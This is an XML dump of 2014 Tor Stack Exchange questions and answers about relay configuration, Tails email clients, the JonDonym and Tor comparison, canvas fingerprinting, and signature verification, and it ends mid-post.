  <row Id="3271" PostTypeId="1" AcceptedAnswerId="4195" CreationDate="2014-06-07T09:04:29.820" Score="3" ViewCount="769" Body="&lt;p&gt;I'm the operator of the Tor node &lt;code&gt;strugees&lt;/code&gt;. I want to mirror the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently everything is working grand, except for the fact that directory mirroring is disabled due to the fact that I have &lt;code&gt;AccountingMax&lt;/code&gt; turned on. Why is this? What are the potential repercussions of turning off &lt;code&gt;AccountingMax&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the relevant sections of my &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;17 # Never send or receive more than 10GB of data per week. The accounting&#xA;18 # period runs from 10 AM on the 1st day of the week (Monday) to the same&#xA;19 # day and time of the next week.&#xA;20 AccountingStart week 1 10:00&#xA;21 AccountingMax 40 GB&#xA;22 BandwidthRate 230KB (235520)&#xA;23 BandwidthBurst 550MB (576716800)&#xA;24&#xA;25 # Mirror the directory&#xA;26 DirPort 9030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the relevant section of the logs in ARM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 08:22:08 [NOTICE] Performing bandwidth self-test...done.&#xA; 08:21:44 [NOTICE] Not advertising DirPort (Reason: AccountingMax enabled)&#xA; 08:21:44 [NOTICE] Self-testing indicates your DirPort is reachable from the outside. Excellent.&#xA; 08:20:48 [NOTICE] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-09-23T17:37:22.843" Title="Why does directory mirroring get disabled when AccountingMax is on?" Tags="|relays|directory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3272" PostTypeId="1" CreationDate="2014-06-07T10:15:25.237" Score="2" ViewCount="11352" Body="&lt;p&gt;In Windows 8.1 when I open &quot;Start Tor Browser.exe&quot; in  Windows Explorer nothing happens. Firewall and Antivirus are disabled&lt;/p&gt;&#xA;" OwnerUserId="1914" LastActivityDate="2017-09-09T11:31:34.087" Title="Tor Browser Bundle will not open" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3273" PostTypeId="2" ParentId="3267" CreationDate="2014-06-07T15:00:05.263" Score="1" Body="&lt;p&gt;One of Tails' main features is its amnesic feature. You forfeit that by running Tails in a VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Tails behind a Whonix-Gateway is recommended against, because it will result in Tor over Tor. See also: &lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/427/is-running-tor-over-tor-dangerous&quot;&gt;Is running Tor over Tor dangerous?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No one has combined both projects yet due to considerable development effort, so at the moment there is no way to combine the advantages of both projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-06-07T15:00:05.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3274" PostTypeId="1" CreationDate="2014-06-07T15:01:52.980" Score="2" ViewCount="227" Body="&lt;p&gt;Why does Claws Mail included in Tails generate PGP keys with only 1024 key length?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't 2048 or 4096 key length be more secure?&lt;/p&gt;&#xA;" OwnerUserId="1917" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:35.950" LastActivityDate="2015-07-09T17:33:22.917" Title="Why does Claws Mail included in Tails generate PGP keys with only 1024 key length?" Tags="|tails|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3275" PostTypeId="2" ParentId="3271" CreationDate="2014-06-07T15:31:21.917" Score="0" Body="&lt;p&gt;When your Traffic limit is reached tor tries not to generat &lt;em&gt;any&lt;/em&gt; Traffic anymore. Directory requests also generate traffic hence aren't advertised either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(When you reach your account's traffic limit (which usually is why you limit Traffic) you may not be able to administer a relay anymore.)&lt;/p&gt;&#xA;" OwnerUserId="312" LastActivityDate="2014-06-07T15:31:21.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3276" PostTypeId="1" CreationDate="2014-06-07T15:31:25.180" Score="1" ViewCount="220" Body="&lt;p&gt;Where do I find more information about using Claws Mail combined with Tails and OpenPGP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only a detailed howto for Pidgin available on the Tails website.&#xA;But for Claws Mail, one can find nearly nothing about how to use it with Tails and OpenPGP.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="923" LastEditDate="2014-06-08T20:53:18.523" LastActivityDate="2014-06-08T20:53:18.523" Title="Where do I find more information about using Claws Mail combined with Tails and OpenPGP?" Tags="|tails|email|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3277" PostTypeId="1" CreationDate="2014-06-07T15:42:08.787" Score="1" ViewCount="186" Body="&lt;p&gt;Why is TorBirdy not deployed in Tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to combine Thunderbird and TorBirdy for anonymous and secure email. Instead, Tails ships Claws Mail without any visible Tor specific configuration.&lt;/p&gt;&#xA;" OwnerUserId="1919" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:14.757" LastActivityDate="2014-07-16T13:06:03.413" Title=",Why is TorBirdy not deployed in Tails?" Tags="|tails|email|torbirdy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3278" PostTypeId="1" AcceptedAnswerId="3297" CreationDate="2014-06-07T16:56:32.800" Score="3" ViewCount="1880" Body="&lt;p&gt;Objectively, what are the advantages and disadvantages of Tor with respect to JonDonym (formerly known as JAP) in the sense of security and anonymity?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="100" LastEditDate="2014-07-13T01:21:21.873" LastActivityDate="2014-07-13T01:21:21.873" Title="What are advantages and disadvantages of Tor with respect to JonDonym?" Tags="|anonymity|security|onion-routing|mix|jondonym|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3279" PostTypeId="1" CreationDate="2014-06-07T17:38:30.577" Score="2" ViewCount="2362" Body="&lt;p&gt;I've just installed whonix in my ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My vpn is working great on host machine and my aim is to make this setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;me &gt; vpn &gt; whonix/tor &gt; sock5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know how to make this happen. Ive installed redsocks following this guide: &lt;a href=&quot;https://www.whonix.org/wiki/Tunnel_Proxy_or_SSH_or_VPN_through_Tor#Tunnel_proxy_through_Tor&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Tunnel_Proxy_or_SSH_or_VPN_through_Tor#Tunnel_proxy_through_Tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm getting stuck right after installation cause I don't know how to config it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:47.337" LastActivityDate="2022-12-20T07:30:15.670" Title="How to Whonix &gt; socks5?" Tags="|anonymity|whonix|socks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3280" PostTypeId="1" CreationDate="2014-06-07T18:01:57.153" Score="2" ViewCount="1815" Body="&lt;p&gt;I am new here and have a question about using Tor as an anonymous middlebox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Windows machine and I want to anonymise my internet useage from time to time. The Tor browser is a fantastic application for basic web browsing, however as soon as you watch a Flash video, run an application outside of the broswer you're screwed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a spare Dell box with two NICS, if I install Ubuntu server on it, install Tor and configure it correctly to listen on both NICS, and use this computer as a gateway server for my Windows box, can I stop things like flash from giving away my real external IP address? I'll configure the Ubuntu server's NIC's on two different networks. One that is on the same network as my router and one that will be on another network that my Windows Box will be on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell what I want to do is get all my network traffic from my Windows box going through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who thinks this will work lol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any opinions would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1923" LastEditorUserId="923" LastEditDate="2015-02-04T09:02:29.200" LastActivityDate="2015-02-04T09:02:29.200" Title="Anonymous Tor middlebox" Tags="|windows|transparent-proxy|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3281" PostTypeId="1" AcceptedAnswerId="3633" CreationDate="2014-06-07T18:07:27.797" Score="2" ViewCount="489" Body="&lt;p&gt;For research purposes I'd like to implement my modified version of the Tor source code in the Shadow simulation network, but I am not exactly sure how to do that. Shadow uses a plug-in called Scallion that is a wrapper for the Tor source code. This solved question (&lt;a href=&quot;https://tor.stackexchange.com/questions/1755/how-to-implement-the-modified-source-code-of-tor&quot;&gt;How to implement the modified source code of Tor?&lt;/a&gt;) merely mentions the idea, but could someone please explain to me clearly the steps of doing modifications in Shadow?&lt;/p&gt;&#xA;" OwnerUserId="1922" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-07-25T07:49:16.030" Title="How to modify Tor source code in Shadow" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3283" PostTypeId="1" AcceptedAnswerId="3288" CreationDate="2014-06-07T20:15:31.590" Score="10" ViewCount="7481" Body="&lt;p&gt;What security flaw with the HTML5 canvas is Tor Browser Bundle protecting you from when it pops up a notification about the canvas.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="696" LastEditDate="2014-06-11T00:51:55.127" LastActivityDate="2015-03-23T01:08:33.720" Title="HTML5 Canvas Security Flaw" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3284" PostTypeId="2" ParentId="242" CreationDate="2014-06-07T20:17:47.293" Score="3" Body="&lt;p&gt;This info seems obsolete.  On the 'Pi:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...now results in a working install.  (Of course, you must appropriately edit torrc and then restart the service.)&lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2014-06-07T20:17:47.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3285" PostTypeId="2" ParentId="3280" CreationDate="2014-06-08T01:44:36.983" Score="1" Body="&lt;p&gt;No insult intended, but that would be an ambitious project for someone asking a question like this ;) I recommend starting with &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt;. Whonix comprises two virtual machines (VMs). One is a Tor gateway aka &quot;middlebox&quot; and the other is a workstation. Both are Debian. The workstation includes the standard Tor browser and many other apps that are configured to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing Whonix is very easy. After installing VirtualBox in Windows, you just import the two Whonix appliances (VMs). You start the gateway VM, complete the setup dialog, and then use the workstation VM. That's it :) I gather that it's possible to install the Whonix gateway and workstation on &quot;bare metal&quot; rather than as VMs. But I've never done that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recommend using a Tor middlebox with a Windows box. It would be a waste of time, given the potential security holes. However, if you're determined to use Windows, I recommend using one of &lt;a href=&quot;http://www.modern.ie/en-us/virtualization-tools#downloads&quot; rel=&quot;nofollow&quot;&gt;these Windows 7 VMs&lt;/a&gt; in VirtualBox on a Debian host. Just be sure to download it using TBB, and never run it except via the Tor middlebox.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-08T01:44:36.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3287" PostTypeId="1" CreationDate="2014-06-08T06:20:18.607" Score="3" ViewCount="310" Body="&lt;p&gt;I'm running a Tor Relay on a Raspberry Pi running Raspbian. I installed Arm as to monitor bandwidth. The line that says &quot;Bandwidth (limit: 800.0 Kb/s, burst: 1.5 Mb/s, measured 160 b/s)&quot; claims my relaying is only relaying at 160 b/s. However, at times the graphs and their associated current download and upload speeds boast such averages as 90 Kb/s up to 200 Kb/s. Globe tells a similar story as the former reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing these discrepancies? &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-07-07T06:37:36.330" Title="Arm for Tor Relay Bandwidth Descrepancies" Tags="|relays|debian|bandwidth|nyx|raspbian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3288" PostTypeId="2" ParentId="3283" CreationDate="2014-06-08T06:49:10.413" Score="9" Body="&lt;p&gt;Using the HTML Canvas a malicious website can perform various tests to learn a large array of information, in relation to graphics, which can be used to fingerprint users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability&quot; rel=&quot;nofollow&quot;&gt;Tor Project design docs (under 4.6, section 2. HTML5 Canvas Image Extraction)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After plugins and plugin-provided information, we believe that the &lt;strong&gt;HTML5 Canvas&lt;/strong&gt; is the &lt;strong&gt;single largest fingerprinting threat&lt;/strong&gt; browsers face today. Initial studies show that the Canvas can provide an &lt;strong&gt;easy-access&lt;/strong&gt; fingerprinting target: The adversary simply renders WebGL, font, and named color data to a Canvas element, &lt;strong&gt;extracts the image buffer&lt;/strong&gt;, and &lt;strong&gt;computes&lt;/strong&gt; a hash of that &lt;strong&gt;image data&lt;/strong&gt;. &lt;strong&gt;Subtle differences&lt;/strong&gt; in the video card, font packs, and even font and graphics library versions allow the adversary to produce a &lt;strong&gt;stable, simple, high-entropy fingerprint&lt;/strong&gt; of a &lt;strong&gt;computer&lt;/strong&gt;. In fact, the hash of the &lt;strong&gt;rendered image&lt;/strong&gt; can be used almost &lt;strong&gt;identically&lt;/strong&gt; to a &lt;strong&gt;tracking cookie&lt;/strong&gt; by the web server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To reduce the threat from this vector, we have patched Firefox to &lt;strong&gt;prompt&lt;/strong&gt; before returning &lt;strong&gt;valid image&lt;/strong&gt; data to the &lt;strong&gt;Canvas APIs&lt;/strong&gt;. If the user hasn't &lt;strong&gt;previously allowed&lt;/strong&gt; the site in the URL bar to access Canvas image data, &lt;strong&gt;pure white image data&lt;/strong&gt; is returned to the Javascript APIs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, the HTML Canvas if allowed to be used, by either clicking not now or just using a not patched Firefox (or just another browser), allows for scary, anonymity ruining fingerprinting. On the bright side, if your accidentally allowed it, Tor Browser Bundle will &lt;a href=&quot;https://tor.stackexchange.com/questions/957/html5-canvas-image-extraction&quot;&gt;forget when you close it.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-03-23T01:08:33.720" LastActivityDate="2015-03-23T01:08:33.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3289" PostTypeId="2" ParentId="3278" CreationDate="2014-06-08T07:41:12.380" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://anonymous-proxy-servers.net/&quot; rel=&quot;nofollow&quot;&gt;JonDonym&lt;/a&gt; and Tor differ greatly in both design and implementation. First, JonDonym is a mix network, whereas Tor is an onion-routing network. Quoting &lt;a href=&quot;http://www.syverson.org/entropist-final.pdf&quot; rel=&quot;nofollow&quot;&gt;Syverson (2009) Why I'm not an Entropist&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mix networks get their security from the mixing done by their component mixes, and may or may not use route unpredictability to enhance security. Onion routing networks primarily get their security from choosing routes that are difficult for the adversary to observe, which for designs deployed to date has meant choosing unpredictable routes through a network. And onion routers typically employ no mixing at all. This gets at the essence of the two even if it is a bit too quick on both sides. Mixes are also usually intended to resist an adversary that can observe all traffic everywhere and, in some threat models, to actively change traffic. Onion routing assumes that an adversary who observes both ends of a communication path will completely break the anonymity of its traffic. Thus, onion routing networks are designed to resist a local adversary, one that can only see a subset of the network and the traffic on it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://anonymous-proxy-servers.net/en/help/services_tor.html&quot; rel=&quot;nofollow&quot;&gt;this JonDonym page&lt;/a&gt; for further discussion of differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Tor is an open network of untrusted relays. Anyone can run a relay, and Tor is expressly designed to resist compromise by malicious relays. JonDonym is a closed network of trusted mixes. According to &lt;a href=&quot;https://anonymous-proxy-servers.net/en/faq-jondo.html&quot; rel=&quot;nofollow&quot;&gt;this JonDonym FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JonDonym is a development branch of the AN.ON project. And JAP is the&#xA;  predecessor of JonDo, the client software which connects users to the&#xA;  JonDonym/AN.ON mix network. JonDos is the company which is actively&#xA;  developing JonDo and is the billing instance between the users and the&#xA;  mix operators.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mix operators must be certified, as outlined &lt;a href=&quot;https://anonymous-proxy-servers.net/wiki/index.php/Become_a_Mix_Operator&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JonDonym works in a different way than Tor or I2P. You cannot start a&#xA;  mix server and hope, you will be part of the anonymous proxy service.&#xA;  You have to become a verified mix operator first.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are other differences as well. Tor provides notoriously low and variable bandwidth. That reflects its open design, and its price (free). JonDonym provides both free and premium versions. The free version is slower than most Tor circuits, while the premium version is faster than most Tor circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JonDonym now &lt;a href=&quot;https://anonymous-proxy-servers.net/en/help/premium_jondo4.html&quot; rel=&quot;nofollow&quot;&gt;accepts Bitcoins&lt;/a&gt; for premium accounts. For better anonymity, one can sign up using Tor, and pay with Bitcoins that have been throughly anonymized via Tor. Searching Tor.SE will lead you to more from me about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that JonDonym is more centralized than Tor, it's arguably more vulnerable to coercion by LEA and various TLAs. The FAQ referenced above addresses many of these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JonDonym is still tarred by its cooperation in 2003 under a warrant from the &lt;a href=&quot;http://www.heise.de/newsticker/meldung/BKA-geht-weiter-gegen-Anonymisier-Dienst-JAP-vor-84713.html&quot; rel=&quot;nofollow&quot;&gt;German BKA&lt;/a&gt;. I gather that some of its relays logged IP addresses that accessed child pornography. The warrant was later &lt;a href=&quot;http://www.heise.de/newsticker/meldung/BKA-Vorgehen-gegen-Anonymisierdienst-JAP-rechtswidrig-87965.html&quot; rel=&quot;nofollow&quot;&gt;judged unlawful&lt;/a&gt;. Also, JonDonym (then called JAP) made efforts to alert its users to the investigation.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-12T10:13:25.150" LastActivityDate="2014-07-12T10:13:25.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3290" PostTypeId="1" CreationDate="2014-06-08T07:45:42.453" Score="1" ViewCount="61" Body="&lt;p&gt;I observed connected nodes in circuits in Vidalia standalone gui &quot;network map&quot;. Some connections have 4 nodes instead of usual 3, does Tor do that automatically or is this a problem that will make unique fingerprint?&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:20.177" LastActivityDate="2015-03-10T20:00:56.050" Title="Vidalia shows 4 nodes, instead of usual 3" Tags="|tor-browser-bundle|vidalia|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3293" PostTypeId="1" CreationDate="2014-06-09T05:17:16.950" Score="1" ViewCount="904" Body="&lt;p&gt;I have an internet connection which is provided by college and they have proxy server every time I have to enter user name and password for internet access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The torrent is blocked. When I open torrent tracker says &lt;code&gt;Access Denied&lt;/code&gt;. How can I use u torrent for downloading stuffs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Tor Bundle it was working then I read here &lt;a href=&quot;https://tor.stackexchange.com/questions/64/how-can-bittorrent-traffic-be-anonymized-with-tor&quot;&gt;not to use&lt;/a&gt; Tor for torrent.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-08T06:19:44.403" Title="By pass proxy server for utorrent" Tags="|bittorrent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3294" PostTypeId="2" ParentId="3293" CreationDate="2014-06-09T06:06:56.090" Score="1" Body="&lt;p&gt;Don't bother trying to torrent through Tor. If you get it working right, it will be very slow, and you'll be interfering with other Tor users. Use a VPN service that caters to torrenting. BolehVPN would be a good choice, or AirVPN. Both accept Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-09T06:06:56.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3295" PostTypeId="1" CreationDate="2014-06-09T08:03:44.993" Score="1" ViewCount="178" Body="&lt;p&gt;is there any way to measure the page load time when we are using the Tor network?&#xA;For example, the time between when we put the Yahoo.com into the address bar and press the enter and the time we receive the last data from the network.  &lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-06-09T08:42:03.090" Title="How to measure Page Load Time?" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3296" PostTypeId="2" ParentId="3295" CreationDate="2014-06-09T08:42:03.090" Score="2" Body="&lt;p&gt;I've been playing with this. You can snapshot sites using &lt;a href=&quot;http://midori-browser.org/&quot; rel=&quot;nofollow&quot;&gt;Midori&lt;/a&gt; (which saves PNGs) or &lt;a href=&quot;https://wkhtmltopdf.org/&quot; rel=&quot;nofollow&quot;&gt;wkhtmltopdf&lt;/a&gt;. In a bash script, echo the current time before starting the snapshot. The file timestamp tells you when the load completed. The difference is the loading time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOW=`date +%F_%H-%M-%S&#xA;echo &quot;snapshot http://yahoo.com starting $NOW&quot;&#xA;torsocks midori -s http://yahoo.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... or ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOW=`date +%F_%H-%M-%S&#xA;echo &quot;snapshot http://yahoo.com starting $NOW&quot;&#xA;torsocks wkhtmltopdf http://yahoo.com yahoo.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-09T08:42:03.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3297" PostTypeId="2" ParentId="3278" CreationDate="2014-06-09T09:10:11.397" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;JonDo now accepts Bitcoins for premium accounts...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anonymous payments for JonDonym premium accounts are possible by Paysafecard (Euro, Dollar) and by snake mail letter too. See &quot;Available billing methods&quot; at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://shop.anonymous-proxy-servers.net/bin/payment&quot; rel=&quot;nofollow&quot;&gt;https://shop.anonymous-proxy-servers.net/bin/payment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better anonymity, one can sign up using JonDonym free services, but Tor works too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other points for comparison of both services: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funding: TorProject.org is mainly funded by US government over the last years (see financial reports of TorProject.org). JonDonym is funded only by users (premium users) and don't get money from governments any more. (Startup of JonDonym was funded by German government from 2000-2004).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research: Both projects are supported by scientific research of universities. May be, Tor gets a bit more attention, I don't have a full list for counting publication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authority Servers / Infoservices: An anonymisation service doesn't contain only relays. Authority servers (Tor) and Infoservices (JonDo/JAP) are another component. (Only different names used by Tor and JonDo for same function - both provide information about running relays.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 of 5 Authority servers (Tor) are operated by members/developers of TorProject. 1 of 5 infoservices is operated by JonDos GmbH. I think, this fact may influence the point of centralization of main components in the discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my onesided view. It is only my input for the discussion. TorProject my feature out the advantages for Tor by self. ;-) &lt;/p&gt;&#xA;" OwnerUserId="2935" LastEditorUserId="923" LastEditDate="2014-06-10T11:20:09.817" LastActivityDate="2014-06-10T11:20:09.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3298" PostTypeId="2" ParentId="3287" CreationDate="2014-06-09T15:02:04.000" Score="2" Body="&lt;p&gt;The measured bandwidth is mostly determined by external measurements by the Bandwidth Authorities. The following should help explain it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-09T15:02:04.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3299" PostTypeId="1" CreationDate="2014-06-09T17:24:05.773" Score="1" ViewCount="477" Body="&lt;p&gt;I am having problems connecting to sites with Tor.  I made sure that all my firewall settings were properly allowing Tor and sure that my system clock was set to the proper time.  It was set to the correct time and time zone.  However after I checked my log in info I was shocked to see that the time read 17:10 when I connected (which is 5:10), but the actual time was 1:10 when I started Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is why does my Tor log info seem to be a whole five hours ahead of when it should be, and how can I properly fix to once again make it normal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me with my problem.  &lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="923" LastEditDate="2014-06-09T19:13:45.920" LastActivityDate="2015-06-15T07:54:13.417" Title="Connection Problems" Tags="|tor-browser-bundle|configuration|help|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3300" PostTypeId="1" CreationDate="2014-06-10T05:01:34.043" Score="1" ViewCount="104" Body="&lt;p&gt;Is the ROP hack/BACKDOOR(obvious)/bug in OpenSSL -coded form OpenSSL&#xA;member/programer Andy Polyakov- still a problem in Tor code?&lt;/p&gt;&#xA;" OwnerUserId="2939" LastActivityDate="2014-06-10T05:01:34.043" Title="OpenSSL ROP hack/backdoor(OBVIOUS)/bug" Tags="|security|source-code|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3301" PostTypeId="2" ParentId="2078" CreationDate="2014-06-10T23:23:20.057" Score="1" Body="&lt;p&gt;Go to the Tor Browser Bundle download &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;page.&lt;/a&gt; Select the correct download, and download! Below the nice, purple button should be a link that says sig. Don't left click but instead right click it. Then select Save Link As in the context menu. (In Firefox, I don't know in the rest, sorry. In Safari I believe you Alt click the link.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once downloaded verify as normal. From &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Project Docs&lt;/a&gt; (It contains instructions for Mac and Linux as well.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to have GnuPG installed before you can verify signatures.&#xA;  Download it from &lt;a href=&quot;http://gpg4win.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://gpg4win.org/download.html&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Once it's installed, use GnuPG to import the key that signed your&#xA;  package. Since GnuPG for Windows is a command-line tool, you will need&#xA;  to use cmd.exe. Unless you edit your PATH environment variable, you&#xA;  will need to tell Windows the full path to the GnuPG program. If you&#xA;  installed GnuPG with the default values, the path should be something&#xA;  like this: C:\Program Files\Gnu\GnuPg\gpg.exe.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Erinn Clark signs the 